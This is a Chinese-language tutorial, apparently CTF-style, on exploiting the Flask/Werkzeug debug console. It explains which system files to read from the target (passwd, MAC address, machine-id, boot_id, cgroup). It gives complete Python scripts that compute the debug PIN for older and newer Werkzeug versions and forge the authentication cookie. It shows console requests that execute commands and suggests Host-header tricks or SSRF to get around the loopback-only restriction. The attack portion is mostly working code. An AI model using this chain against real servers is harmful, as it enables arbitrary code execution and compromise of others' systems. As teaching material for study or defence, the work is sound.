新版flask pin码计算
字数 1865 2025-08-22 12:22:48
Flask Debug PIN 码计算与利用教学文档
一、Flask Debug PIN 码概述
Flask 框架在开启 debug 模式时,会提供一个交互式调试器界面(/console),需要输入 PIN 码才能执行 Python 命令。PIN 码由 werkzeug 的 debug 模块生成,不同版本使用不同哈希算法:
- werkzeug 1.0.x 低版本:使用 MD5
- werkzeug 2.1.x 高版本:使用 SHA1
- 通常 Python 3.8 及以上使用高版本
二、PIN 码构成要素
1. probably_public_bits(可能公开的部分)
- username:执行代码时的用户名,可通过读取
/etc/passwd文件获取 - appname:
getattr(app, "__name__", app.__class__.__name__),默认是 "Flask" - modname:
getattr(app, "module", t.cast(object, app).class.module),默认是 "flask.app" - moddir:
getattr(mod, "__file__", None),即 app.py 文件所在路径,可通过 debug 报错信息获得
2. private_bits(私有部分)
- uuid:
str(uuid.getnode()),即 MAC 地址的十进制表示- 获取方式:
- 读取
/sys/class/net/eth0/address或/sys/class/net/ens0/address - 格式转换:去掉横杠后转十进制(如
00:16:3e:03:8f:39→95529701177)
- 读取
- 获取方式:
- machine_id:
get_machine_id()- 获取方式:
- 优先读取
/etc/machine-id(Docker 环境不读此文件) - 若无,则读取
/proc/sys/kernel/random/boot_id - 读取
/proc/self/cgroup,取第一行最后一个/后的字符串 - 将上述值拼接起来
- 优先读取
- 获取方式:
三、PIN 码计算脚本
1. werkzeug 1.0.x(低版本,MD5)
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir
]
private_bits = [
'25214234362297', # MAC地址十进制值
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
2. werkzeug ≥2.0.x(高版本,SHA1)
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]
private_bits = [
'2485377568585', # MAC地址十进制值
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2' # machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:" + cookie_name)
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print("pin码:" + rv)
四、Cookie 计算与认证流程
1. 认证流程
- 提交 PIN 码请求示例:
GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1 - 认证成功后设置 Cookie:
Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/ - 执行命令请求(需携带 Cookie 和 frm 参数):
GET /console?&__debugger__=yes&cmd=print('mixian')&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1
2. Cookie 值计算
Cookie 值格式:{int(time.time())}|{hash_pin(pin)}
计算脚本:
import hashlib
import time
# A week
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")
3. 认证检查
认证时会检查时间戳是否在有效期内:
return (time.time() - PIN_TIME) < int(ts) # ts是Cookie中的时间戳部分
五、Werkzeug 版本限制
- Werkzeug > 3.0.3 版本:仅允许回环地址(127.0.0.1 或 localhost)访问
/console - 解决方案:
- 修改 Host 头为回环地址
- 使用 SSRF 等技巧从服务器内部访问
六、实战示例
1. 获取必要信息
- moddir:通过 debug 报错页面获取 Flask 应用路径
- MAC 地址:
- 读取
/sys/class/net/eth0/address - 转换为十进制
- 读取
- machine_id:
- 读取
/etc/machine-id - 读取
/proc/sys/kernel/random/boot_id - 读取
/proc/self/cgroup(取第一行最后一个/后的内容)
- 读取
2. 计算 PIN 码
使用上述脚本计算,示例输出:
cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626
3. 生成认证 Cookie
1729699932|271328319d5c
4. 执行命令
- 确保使用正确的
s参数(从页面源码获取) - 对于高版本,确保通过回环地址访问
- 携带生成的 Cookie 和正确的 frm 参数(通常为 0)
七、注意事项
- 信息准确性:确保所有参数准确无误,特别是 MAC 地址的十进制转换
- 版本差异:注意 werkzeug 版本差异,使用对应的哈希算法
- Docker 环境:Docker 中
/etc/machine-id可能无效,需结合其他文件 - 时间因素:Cookie 中的时间戳需确保在有效期内(默认一周)
- 访问限制:高版本 werkzeug 的本地访问限制需要绕过
通过以上步骤,可以成功计算 Flask debug PIN 码并利用调试控制台执行任意 Python 代码。